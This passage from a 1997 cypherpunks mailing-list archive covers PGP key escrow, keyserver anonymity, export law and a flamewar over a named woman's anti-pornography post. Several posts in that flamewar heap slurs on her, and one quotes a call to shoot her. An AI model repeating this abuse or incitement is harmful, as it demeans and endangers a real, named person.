Yes, Darth Vader was a card-carrying member of the ACLU.

Paul

The final elegance, not to console
Nor sanctify, but plainly to propound.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Tue, 4 Nov 1997 12:41:08 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710301318.HAA17701@einstein.ssz.com>
Message-ID: <199711040529.XAA03597@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> People kill for religion, politics, insanity, and fun.

	Nope. Economics, survival, revenge, and insanity. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Tue, 4 Nov 1997 12:45:07 +0800
To: T.G.Griffiths@exeter.ac.uk
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <b05139e147%Tim@tim01.ex.ac.uk>
Message-ID: <199711040533.XAA03610@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



>  We hear on TV etc people saying "If this draconian measure saves the
>  life of one innocent child its worth the loss of my right to walk in
>  the park, or whatever". This is clearly shit, but can people suggest a
>  sensible measure of when new legistlation is justified?

	When you can figure out a way to fix the problem without 
stepping on freedoms. Then legislation is justified. 

	Part of the problem is that people _assume_ that legislation fixes
problems. It doesn't. Laws just give society permission to punish the 
offender. In that case we have plenty of laws, it would be rare that we 
would need another.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Nov 1997 08:11:50 +0800
To: jon@pgp.com
Subject: CMR/ARR revisited
In-Reply-To: <3.0.3.32.19971103115159.0894a320@mail.pgp.com>
Message-ID: <199711032338.XAA02005@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas suggests that CMR has been discussed vigorously.  What was
the outcome?

Here's a short summary of a more secure and less politically
controversial alternative to CMR:

1. Escrow employee company use encryption keys.
2. Don't escrow employee personal use encryption keys.
3. Don't escrow employee company use signature keys.

As pgp5 packet format already supports multiple encryption sub keys
attached to signature keys, all that has to be done to support the
above is to put comments in the userID to say what purpose the keys
are for:

Jon Callas <jon@pgp.com> (personal use)
Jon Callas <jon@pgp.com> (company use)

Provide support in the business verion of the software to escrow the
company use key.  Provide support for both company use and personal
use keys.  If some companies want to disallow personal use, you might
consider adding this feature.


The above is already provided for without CMR/ARR.

CMR/ARR fields add political and security risks, so why bother?


So what is PGP Inc's position on the future of CMR?

Is it going to be phased out?

Is it going in the OpenPGP standard?

Are there any security, privacy or political objections to local
escrow?

Enciphering minds want to know...

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Tue, 4 Nov 1997 16:05:39 +0800
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199711040738.XAA26306@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> > Someone on this list, I forget who, has made numerous attempts at
> > convincing us that pornography 'does no harm' to children.  It is
> > exactly at this point that I must draw a line. Studies have shown that
> > an event which lasts even so much as three-tenths of a second, within
> > five to ten minutes has produced a structural change in the brain.
> > Exposure to porn causes actual brain damage, especially in a child.
> 
> let me guess . . . scientology? it sounds to me as if you just despise
> porn so much that you're seeing red, and hence . . . not seeing the
> facts straight (or believing whatever you [want to] hear).

Let me set some facts straight. The idea in the paragraph above from 
Jodi Hoffman is quite contrary to the ideas held by Scientologists. 
The idea in the paragraph above has to do with the ideas held by the 
secular humanists and their attempts to explain human behaviour as 
having nothing to do with a will, but as just chemical reactions. 
Make sure you know exactly what ideas are held by a particular group 
before you attempt to denounce them. As Mark Twain once said, "First 
get your facts straight; then you can distort them."

--Dylan

FWIW, I heartily agree that Jodi probably "despises porn so much she's 
seeing red", which she has every right to do. However! She's quoting 
studies that are crocks, so her entire agrument is fallacious, as 
TruthMonger so eloquently pointed out. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Tue, 4 Nov 1997 13:58:24 +0800
To: cypherpunks@toad.com
Subject: To TruthMonger
Message-ID: <199711040544.XAA03985@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
> snow wrote:
> >         You must live in such a nice world, where the sky is always blue,
> > the grass always green, and the police eager and willing to serve a happy
> > populace.
> >         Can I come live in your world?
> snow
>   take two of the green ones, three of the yellow ones, and four of the
> red ones

	But But But all I have are little pale blue ones, and big honkin 
white ones. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Tue, 4 Nov 1997 12:49:36 +0800
To: tcmay@got.net (Tim May)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102806b07e577ec20a@[207.167.93.63]>
Message-ID: <199711040544.XAA03652@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >Tim May wrote:
> Well, now that wouldn't be very smart of me, would it, to tell the world
> where my defensive measures are? (I'm willing to let would-be ninjas know

	Security thru Obscurity Mr. May? Tsk. Tsk.

> >to perform all these self-defense actions naked, which would obviously
> >happen during these night raids and robberies.
> >
> >Is that a problem, and if yes, what are the solutions?

	Get used to running around naked. Your testes are the least of your
concern at that point, and unless you are well outside the normal range, they
shouldn't cause much of a problem (side question...from a evolutionary 
standpoint, given a lack of clothing would "over-endowment" tend to be a 
non-survival trait, or do we not want to go there?).
 
> The usual advice is to secure one's bedroom for immediate invasion. (My
> bedroom is on the second floor, too.) This helps with burglars as well as
> with ninjas. For example, lock the bedroom door. This will slow down
> attackers, who first have to gain access to the main house, then have to
> get in the bedroom. The noise from the first step should provide valuable

	Ladders. I'd bet that any trained "ninja" could get a ladder up 
against the side of a house quietly enough to prevent those inside from waking
and be in thru the window before you could get the gun out from under the 
pillow. 

> seconds of awakening, grabbing a gun, etc. I don't think a locked bedroom
> door will stop an entry team from getting inside in a matter of seconds,
> but every second helps.

	Unless you are using exterior doors, I wouldn't count on more than
1/2 second. 

> (Experts also advise that homeowners facing such assaults "stay put,"
> unless, of course, they have to defend other family members in other rooms.)

	How many people have been thru enough of these to be considered 
experts? Seriously? When the law breaks in, you don't have _time_ to leave. 
Those people train to move fast. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 4 Nov 1997 07:44:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Legal Strategy
In-Reply-To: <d055dda10a1a6e5d60cbd7a5914bcac6@squirrel>
Message-ID: <m0xSVv0-0003bcC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:

>Now, you are in an interesting situation.  You can't give the
>passwords for half of the disks, but you are unable to prove this.
>This means you have nothing to gain by giving the pass phrase to the
>"Ulysses" disk - you will always be seen as holding out.  Even if you
>convince the Judge that some of the disks are noise, you have no
>reason not to include the "Ulysses" disk in this set.

Bryan Olson once discussed something like this in a sci.crypt post:
<URL:http://www.sevenlocks.com/papers/crypto/duress.txt>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Abstruse <Abstruse@technologist.com>
Date: Tue, 4 Nov 1997 13:53:47 +0800
To: cypherpunks@toad.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <345EB20E.6A41@technologist.com>
MIME-Version: 1.0
Content-Type: text/plain



> Someone on this list, I forget who, has made numerous attempts at
> convincing us that pornography 'does no harm' to children.  It is
> exactly at this point that I must draw a line. Studies have shown that
> an event which lasts even so much as three-tenths of a second, within
> five to ten minutes has produced a structural change in the brain.
> Exposure to porn causes actual brain damage, especially in a child.

let me guess . . . scientology? it sounds to me as if you just despise
porn so much that you're seeing red, and hence . . . not seeing the
facts straight (or believing whatever you [want to] hear).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Tue, 4 Nov 1997 13:48:44 +0800
To: nobody@replay.com
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <199711031755.SAA11526@basement.replay.com>
Message-ID: <199711040540.AAA03771@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Anonymous wrote:

: 
: You mean Microsoft.  It's foolish to reject encryption software because
: it runs on the OS used by 90% of its customers.

If the software is only available for Windoze, I think it's safe to say
that 100% of it's users use Windoze.  Nonetheless, open standards are 
a very good thing indeed.  This message having reached you is proof of it.

: > No source no security.
: 
: You don't trust Schneier?  You've seen the limitations of source code
: release.  Experts like Schneier and his team designing the crypto is
: worth more than a bunch of know nothings scratching their heads and
: wondering where to begin with 1000+ pages of source code.

If the source were available, there would be no need to trust Schneier.
I trust his expertise, but have no basis (or inclination) to make guesses
about his character.  No matter how many people refer to Applied Crypto as
"a Bible", it's not the kind of book that encourages blind faith.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNF61PMHFI4kt/DQOEQK4WQCgqUi1AX4giMyzycavyaK6GclkN+8AnApT
3QJByal4x6k6lyMd6LNpKoFq
=ymEt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Tue, 4 Nov 1997 14:55:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <3.0.3.32.19971103220718.00c60100@pop-server.caltech.edu>
Message-ID: <345EC47E.462C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Colin A. Reed wrote:
> 
> I found the part about aids more obscene.  Most new cases are among
> promiscuous heterosexuals.  Of course if you are truly abstinent or
> monogamous you don't have to worry, as all blood (in the US at least) is
> now heavily tested and has been ever since HIV was found.  Looks like Mrs.
> Hoffman should take a sex ed class so that she will be able to tell her
> children the truth instead of made up fantasies.

At the risk of sounding like a Bible-basher, I have to admit that
I used to regard an inordinate number of Christians as ignorant,
until I found out that many of them are quite simply being very
deceptive about their nonsensical, party-platform claims.
To tell the truth, I respected them more when I thought they
were just ignorant.

Most of the prosetylizing that I have been subjected to consists of
vague, unsubtantiated claims, followed by prophetic pronouncements
of 'the way things are', backed up by quoting the same prophetic
pronouncements to 'prove' this or that point.

Let me state that I think there are a great many 'good' Christians
in the world. i.e. - the ones that leave me the fuck alone!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 4 Nov 1997 08:50:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: www.cypherpunks.to
In-Reply-To: <999fc34491ff840a6074ef2fcc763b96@anon.efga.org>
Message-ID: <Pine.BSF.3.96.971104013155.28262B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 3 Nov 1997, Anonymous wrote:

> 
> What happened to www.cypherpunks.to? It appears to have disappeared.

The server works fine and I can reach it from the US.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Tue, 4 Nov 1997 10:29:42 +0800
To: jlhoffm@ibm.net
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <199711040117.CAA07010@basement.replay.com>
Message-ID: <345e8076.9040556@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



>Alexander Tyler wrote:
>> "A democracy cannot exist as a permanent form of government. It can only
>> exist until a majority of voters discover that they can vote themselves
>> largess out of the public treasury."

This assumes there is a "majority of voters". Read James Madison, & kiss a
multiculturalist today.

Now can we get back to denouncing Jewish Nazis?

Paul

http://www,nihidyll.com/attributions.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 09:22:00 +0800
To: cypherpunks@toad.com
Subject: Need info! / Re: Export a random number, go to jail
Message-ID: <199711040106.CAA04679@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 9:46 AM -0700 11/3/97, Peter D. Junger wrote:
> 
> >: One time pads are under rated, in my view.  Not only are they secure
> >: forever, but the executive branch of the U.S. government says they are
> >: exportable.
> >
> >If your basis for saying that the U.S. government says that one time
> >pads are exportable was the governments classification of a one time
> >that I wrote in DOS assembly language using XOR to munge together the
> >contents of two files, I don't think that you can rely on that
> >authority since, at the same time, the government refused to rule that
> >all one time pads using XOR are not subject to licensing under the
> >EAR.
> 
> "Export a random number, go to jail."

Is it legal to export '37'?
How about '148'?
'276'?
'3,289,534'?
'6.33458'?

Thanks,
A Fucking Iditot






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 09:36:58 +0800
To: jlhoffm@ibm.net
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <199711040117.CAA07010@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan:

>[Wow. First time I've ever been personally accused of being "a major
>reason for the downward spiral of society." --Declan]

Best way to mobilize a society: give them a Devil to hate. It's much easier
to get people to hate than to love. Blame the Press, the Permissive Society,
the Liberals, the Educational System. Of course, once you get rid of the
Devil, it's usually a good idea to have the slave's collars on everyone
BEFORE they realize the problem's still around.

>---------- Forwarded message ----------
>Date: Mon, 03 Nov 1997 11:53:27 -0500
>From: Jodi Hoffman <jlhoffm@ibm.net>
>To: fight-censorship@vorlon.mit.edu
>Subject: Why porn must be stopped at all costs.....

[sneck]

>Try as I might, I cannot forget standing on the steps of the Supreme
>Court building with my husband and 10 year old daughter in the freezing
>drizzle.  I really thought we could make a difference, standing there
>with our banner and signs, one of which read, "DON'T SACRIFICE MY CHILD
>ON THE ALTAR OF THE FIRST AMENDMENT."  Stupid me.  As the saying
>goes...we've come a long way, baby.

You need a song to cheer you up. Try this one:

"There's a place in the world for the angry young man
With his working-class ties and his radical plans,
He refuses to bend, he refuses to fall,
And he's always at home with his back to the wall.
He's proud of the scars and the battles he's lost
And he struggles and bleeds as he hangs on the cross,
And he likes to be known as the angry young man."

                    --Billy Joel, "Angry Young Man"

[sneck]

>So, keep protecting your porn-induced orgasms.  That's exactly what
>happened with the Hitler youth, etc...  After all, I'm sure it does help
>to blur the lines of reality.

You clearly need a better country to live in. I suggest China; they have a
long history of keeping impure materials out of the hands of the easily
influenced sheeple. If you have trouble there, perhaps Singapore, Iraq,
Syria, or Lebanon would be more to your liking. If you're interested in a
proven weight-loss program, maybe North Korea is your best bet. 

[sneck]

>RULE FOR REVOLUTION #1:     CORRUPT THE NATION'S YOUTH

Done already, by the gub'mint. Kids can't read or write at all nowadays,
despite the high level of per-pupil spending.

>RULE FOR REVOLUTION #2:     CONTROL THE MASS MEDIA

Done already, by the FCC and the religious right.

>RULE FOR REVOLUTION #3:     ENCOURAGE PUBLIC INDIFFERENCE

Done already, by the actions of mudsucker politicians who seek re-election
at any cost, even the freedoms guaranteed by the Constitution. "I think
I'll vote Demopublican this year, or maybe Republicrat. I have such a
hard time telling their extremist positions apart."

>RULE FOR REVOLUTION #4:     ENCOURAGE PUBLIC BICKERING

I could claim this was the reason Usenet was created, but I'm not a
conspiracy buff. Of course, on C-SPAN, we can see politicians ranting
at each other, the President, and nothing at all.

>RULE FOR REVOLUTION #5:      SEIZE POWER, THEN CENSOR

The religious right again.

>RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT

See if you can guess who said this and when:

"A democracy cannot exist as a permanent form of government. It can only
exist until a majority of voters discover that they can vote themselves
largess out of the public treasury."

Was it:

a) Alexander Tytler, 18th century;
b) Thomas Jefferson, early 1800s;
c) Karl Marx, late 1800s;
d) V. I. Lenin, 1915

Here's a hint: Pick the Scottish historian who lived in the 1700s. So the
concept of a "bankrupt democracy" has been around for a while.

>RULE FOR REVOLUTION #7:       DESTROY NATIONAL VALUES

Create a climate of fear. Spread uncertainty and doubt among the populace.
Wave the battle flags of pedophilia and terrorism proudly from the ramparts,
so that people gladly give up their liberties to be saved from the Horsemen
of the Apocalypse.

>RULE FOR REVOLUTION #8:       ATTACK GUN OWNERSHIP

If someone were to hang around your child's schoolyard with a full-auto
AK-47, would you scream "DON'T SACRIFICE MY CHILD ON THE ALTAR OF THE
SECOND AMENDMENT"?

>RULES FOR REVOLUTION #9 AND #10:    UNDERMINE THE ARMED FORCES

Hey, that's one rule!

>THE REALITY:
>Our country's armed forces consume a vast percentage of our gross
>national product.

Defense of any kind is wasteful by nature. Even white corpuscles don't do
jack when there's no infection to fight.

>We possess the best and most advanced weapons systems in the world. But
>our armed forces are a joke for two reasons:
>(1) they are completely restrained in their actions by a hostile
>Congress, and
>(2) the armed forces have been saddled with such a bad reputation that
>it is virtually impossible to fill the ranks with volunteers, even in
>the new and streamlined armed services.

Say what? The last I heard, military recruiting was up because it was a way
to get training in technical areas that might otherwise be impossible for
recruits to learn. (Of course, some people still have to carry rifles...)

>FINAL REALITY:  WELCOME TO AMERIKA, COMRADES.

Land of the Freeh, and the home of the knave. Thanks for making it just a
little worse by your actions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Tue, 4 Nov 1997 10:51:33 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <345E7DE5.4AF6@ibm.net>
Message-ID: <346086e2.10685640@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



Lizard wrote:

>But what we actually have is countless pluralities voting to rob each 
>other. The game would work, except for entropy, in the form of 
>transaction costs. With each theft from one group to the other and 
>back again, some money is lost -- so the tension between groups 
>increases as each demands a larger share of a smaller pie.

No -- you've got it *almost* right -- the negotiating pluralities, entropy
(as metaphor!), & all... but the pie is growing (at between 2% & 3% per
annum). So nearly everyone's content -- enough not to shoot each other,
anyway.

Paul

Her name was Julie; she wore Batman sneakers,
And she laughed when she sang,
"Money can't buy me love!"
North of Petaluma where the 1 meets the 101 --
Oh man, we took a lot of drugs...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 09:53:59 +0800
To: cypherpunks@toad.com
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
Message-ID: <199711040136.CAA09703@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
>   Thanks for replying to my email. It's the first one I ever got.
> Everyone else just ignores me. Go figure...

Theory #1
TruthMonger's true identity is the ventriloquist dummy from 'Soap'.

Theory #2
Those strange sounds you hear when lying quietly in bed at night?
They are the sound of people slapping their foreheads when they
realize they are arguing with a dummy. (;>}

A. Dummy II





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Tue, 4 Nov 1997 20:23:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why porn must be stopped at all costs.....
Message-ID: <878645811.4088.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




Jodi Hoffman <jlhoffm@ibm.net> wrote:
>Try as I might, I cannot forget standing on the steps of the Supreme
>Court building with my husband and 10 year old daughter in the freezing
>drizzle. 

I'm sure that your daughter can't forget such an obvious example of child
abuse either. Perhaps someone should inform the BATF?

>Don't
>you realize that YOU are a major reason for the downward spiral of
>society?

Don't tell them or they'll all want one...

>Studies have shown that
>an event which lasts even so much as three-tenths of a second, within
>five to ten minutes has produced a structural change in the brain.

Studies have shown that anti-porn rhetoric kills babies and causes
cancer in lab rats. Which studies? The ones I just made up... of
course your comment isn't a total lie, it's just a blatant and, frankly,
inept attempt to twist reality to support your cause. The human brain
is a neural network; any data entering into it changes its structure.

Which leads to the inevitable conclusion that:

Exposure to anti-porn rhetoric causes actual brain damage, especially in 
a child.

>So, keep protecting your porn-induced orgasms. That's exactly what
>happened with the Hitler youth, etc... 

I think you'll find that the Hitler Youth were too busy burning 
'pornography' to read it, though I guess burning books may have
given them orgasms. Many people seem to have the hots for it,
after all.

>RULE FOR REVOLUTION #1: CORRUPT THE NATION'S YOUTH

[Rest deleted; I'm glad to see that the revolution is proceeding as
planned. I'll mention you at the next Illuminati Grand Council.]

>RULE FOR REVOLUTION #2: CONTROL THE MASS MEDIA

Ah, this is where I come in; I have, sadly, been neglecting my cypherpunk
duties lately because I've been spending too much time on film-making. You
see, I have this dream; I want to make a movie of the entire Bible, and
not the old Charlton Heston version, but totally unexpurgated, keeping
entirely to the text, including all those embarassing bits about Lot's
daughters screwing their father while he slept in order to have his
children ('No, no your honor, it wasn't me, they did it to me in my
sleep'), men who are hung like stallions, and babies having their brains 
bashed out of their skulls.

Why? Because I want to see the religious censors squirm... I do so
enjoy their anti-porn and anti-violence rants when they're pushing
one of the most violent and pornographic novels ever written.

>Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
>Victimization of Children/Research & Education Council of America

Excuse me? You're part of the 'Victimization of Children Council'? You
mean child victimizers have their own lobby group these days? Boy, ain't
America wonderful?

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 4 Nov 1997 12:26:04 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0: Keyservers
Message-ID: <19971104042001.4745.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Out of curiosity, what protection is there for PGP 5.x users submitting keys
to the keyservers? Would it not be trivial for somebody to see what dialup
SLIP link a key is coming from and tie that key to the person submitting it?

That isn't a problem for personal keys, but it is a big problem for
psuedonyms. Is there some kind of mechanism in place for submitting such
keys via anonymous remailers? 

This might already have been covered by other Cypherpunks or the PGP folks.

ParanoiaMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 11:41:18 +0800
To: cypherpunks@toad.com
Subject: [ON TOPIC] Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <199711040323.EAA20527@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Spirito wrote:
> >Alexander Tyler wrote:
> >> "A democracy cannot exist as a permanent form of government. It can only
> >> exist until a majority of voters discover that they can vote themselves
> >> largess out of the public treasury."
 
> This assumes there is a "majority of voters". Read James Madison, & kiss a
> multiculturalist today.
 
> Now can we get back to denouncing Jewish Nazis?

Sorry, that's off-topic.
You _can_, however, discuss 'Remailer Hating Nazis'...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 13:11:29 +0800
To: cypherpunks@toad.com
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711040454.FAA00831@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



snow wrote:
>         Part of the problem is that people _assume_ that legislation fixes
> problems. It doesn't. Laws just give society permission to punish the
> offender. 

Prosecutor: "You should find this nanny guilty of murder because
             young people like to party."
Jury: "Duuhhh...OK!"

  What I find ironically hilarious, offensive and sad, is that there
are still so many new laws being passed, in spite of the fact that
they are no longer really needed.
  Courtrooms now pretty much just serve as an arena for engaging in
the age-old sport of public stoning. Whoever does the best job of
finger pointing, while working the crowd into a frenzy, wins.

  Tim McVeigh was Dead Meat (TM) the minute the judge ruled that
fingers in the courtroom could only be pointed at Terrible Timmy.
  I guess I'm an old fart...I remember when $15 million could buy
you a decent attorney.

  I don't own any guns, so I guess when the Feds kick my door in,
I'll just point at the dog, and hope they go for my clever ruse.
  Hell, I'm even willing to testify...

Not-Me!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 4 Nov 1997 14:23:48 +0800
To: cypherpunks@toad.com
Subject: Funding Cypherpunks Action Projects
Message-ID: <ezZ9JcCe5YIP5Wuq7tdZFQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



I have worked out a plan whereby we can auction off the role of
Cypherpunks Chief Spokesperson in order to fund CAP's.
The idea for a Spokesperson pyramid scheme came to me after
realizing that the list has not only a variety of individuals
competing as the chief list 'Fed baiters', but also quite a
number of people who enjoy 'Christian baiting', as well:

TruthMonger, playing with his private parts, wrote:
>  Why does it not come as a surprise that this Dumb Cunt Nazi Christian
> Bitch (TM) is hiding behind 'the children,' hoping that it will prevent
> her from being a target of reprisal for the bullshit she is flinging
> at others?
> Why doesn't someone shoot this Dumb Cunt Nazi Christian Bitch?
> If it saves the life of just one child...

Eric Cordian spit out:
> "Puritanism" might be defined as the fear that someone, somewhere, is
> having a porn-induced orgasm.  Stable people tend to worry about their
> own orgasms, and not their neighbors.  Perhaps if you had a few
> orgasms yourself, you might lose interest in the orgasms of others.
> [Nonsense Deleted]
> Please bite my enormous throbbing love sausage with an ice cube in your
> mouth. 

Jesus Christ wrote:
> If you will check the Biblical Archives, I think you will find
> that Peter never really fooled anyone, either.
>  {Speaking of which, do you also plan to censor the parts of the
>   Bible which quote my use of the word, "cock?"}

There is no telling how much money we could raise by appealing to
the macho male egos on the list who lock horns in CypherPissing 
cock-size wars, if we were to take bids on the honor of being the
Cypherpunks' authorized 'Fed-baiter' or 'Christian-pisser', etc.

Given the wide variety of individuals, groups, organizations, 
corporations, government agencies, etc., which have been the
target of vicious attacks on this list, there is no end of the
number of CypherPisser Ambassadorships we could invent to fill
the Cypherpunks Action Projects coffers.

Cypherpunks Chief MLM Spokesman





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Nov 1997 19:52:21 +0800
To: cypherpunks@toad.com
Subject: Pet Bog Crypto Ban
Message-ID: <1.5.4.32.19971104114239.00a4cbac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



As a strategic bank shot for banning domestic use of encryption the 
US FBI and Fish and Wildlife Service have declared the pet Bog 
Snatch Algorithm a terrorist threat:

   http://jya.com/fws110497.txt  (134K)

B. Overutilization for Commercial, Recreational, Scientific, or 
Educational Purposes

    The bog turtle is a target for pet collectors due to its rarity in 
the wild, distinctive coloration, and small size. Take (primarily 
illegal) both for the national and international commercial pet trade 
industry has occurred for many years. Collecting is a significant 
factor in the species decline and is an ongoing threat to its continued 
existence in the wild (Anon. 1991; Earley 1993; David Flemming, U.S. 
Fish and Wildlife Service, in litt. 1991; Herman 1990; Klemens in 
press; Stearns et al. 1990; Tryon 1990; Tryon and Herman 1990). During 
the last 5 to 10 years, an increasing number of bog turtles have been 
advertised for sale, and prices have increased substantially. The 
increase in price most likely reflects the increase in demand for the 
turtles; the increase in demand increases the threats to the wild 
populations (Tryon and Herman 1990).
    Atlanta Zoo personnel reported that from 1989 to early 1991, over 
1000 bog turtles were exported to Japan. These figures differ 
significantly from CITES data and represent a significant amount of 
unreported illegal trade (Anon. 1991). The World Wildlife Fund recently 
listed bog turtles as among the world's top 10 ``most wanted'' 
endangered species (Earley 1993). According to Alan Salzburg, President 
of the American Turtle and Tortoise Society, the bog turtle is 
considered the most prized turtle in the United States, and when bog 
turtle locations become publicly known, they are exploited by 
collectors within 1 year (Laura Hood, Defenders of Wildlife, in litt. 
1997).
    Due to the threats facing bog turtle populations, the Society for 
the Study of Amphibians and Reptiles adopted a resolution calling for 
the prohibition of collection from wild populations (Stearns et al. 
1990). Due to the small size of existing populations, and the low 
reproductive and recruitment potential of this species, the removal of 
even a few breeding adults can do irrevocable damage to a population 
(Tryon 1990). Collecting has been a factor in the reduction or 
extirpation of several bog turtle populations in Delaware (Anon. 1991), 
Maryland (Anon. 1991; Smith, in litt. 1994), Massachusetts (Anon. 
1991), New Jersey (Farrell and Zappalorti 1989; Zappalorti, pers. comm. 
1994; Zappalorti, in litt. 1997), New York (Breisch, in litt. 1993; 
Breisch et al., in litt. 1994; Collins 1990; Behler, in litt. 1997), 
and Pennsylvania (Ralph Pisapia, U.S. Fish and Wildlife Service, in 
litt. 1992; Zappalorti, in litt. 1997). Many sites in these States have 
suitable habitat, but have much-reduced bog turtle populations, 
probably due to collecting.
    Throughout the bog turtle's entire range, States regulate take 
through classification of the species as endangered (in Connecticut, 
Delaware, Massachusetts, New Jersey, New York, Pennsylvania, and 
Virginia) or threatened (in Georgia, Maryland, North Carolina, South 
Carolina and Tennessee), yet trade continues.
    Illegal trade is difficult to detect due to the questionable origin 
of turtles being offered for sale. Bog turtles are often ``laundered'' 
through States which either do not have native populations (e.g., West 
Virginia, Florida, California), or through States which have inadequate 
protection of their own bog turtle populations (Charles Bepler, U.S. 
Fish and Wildlife Service, in litt. 1993; Breisch, in litt. 1993; 
Michael Klemens, in litt. 1990). For example, in recent years dealers 
have claimed West Virginia as the State of origin for bog turtles; 
however, there is no evidence to support the contention that the bog 
turtle occurs in that State (Dennis Herman, Project Bog Turtle 
Coordinator, in litt. 1997; Tom Thorp, North Carolina Herpetological 
Society, in litt. 1997). Hatchling and juvenile turtles marketed as 
``captive-born'' are usually offspring from gravid adult females 
illegally brought into captivity and held until they deposit eggs. The 
eggs are then hatched in captivity, and the captive-born (but not 
captive-bred) offspring are then marketed or retained (Bepler, in litt. 
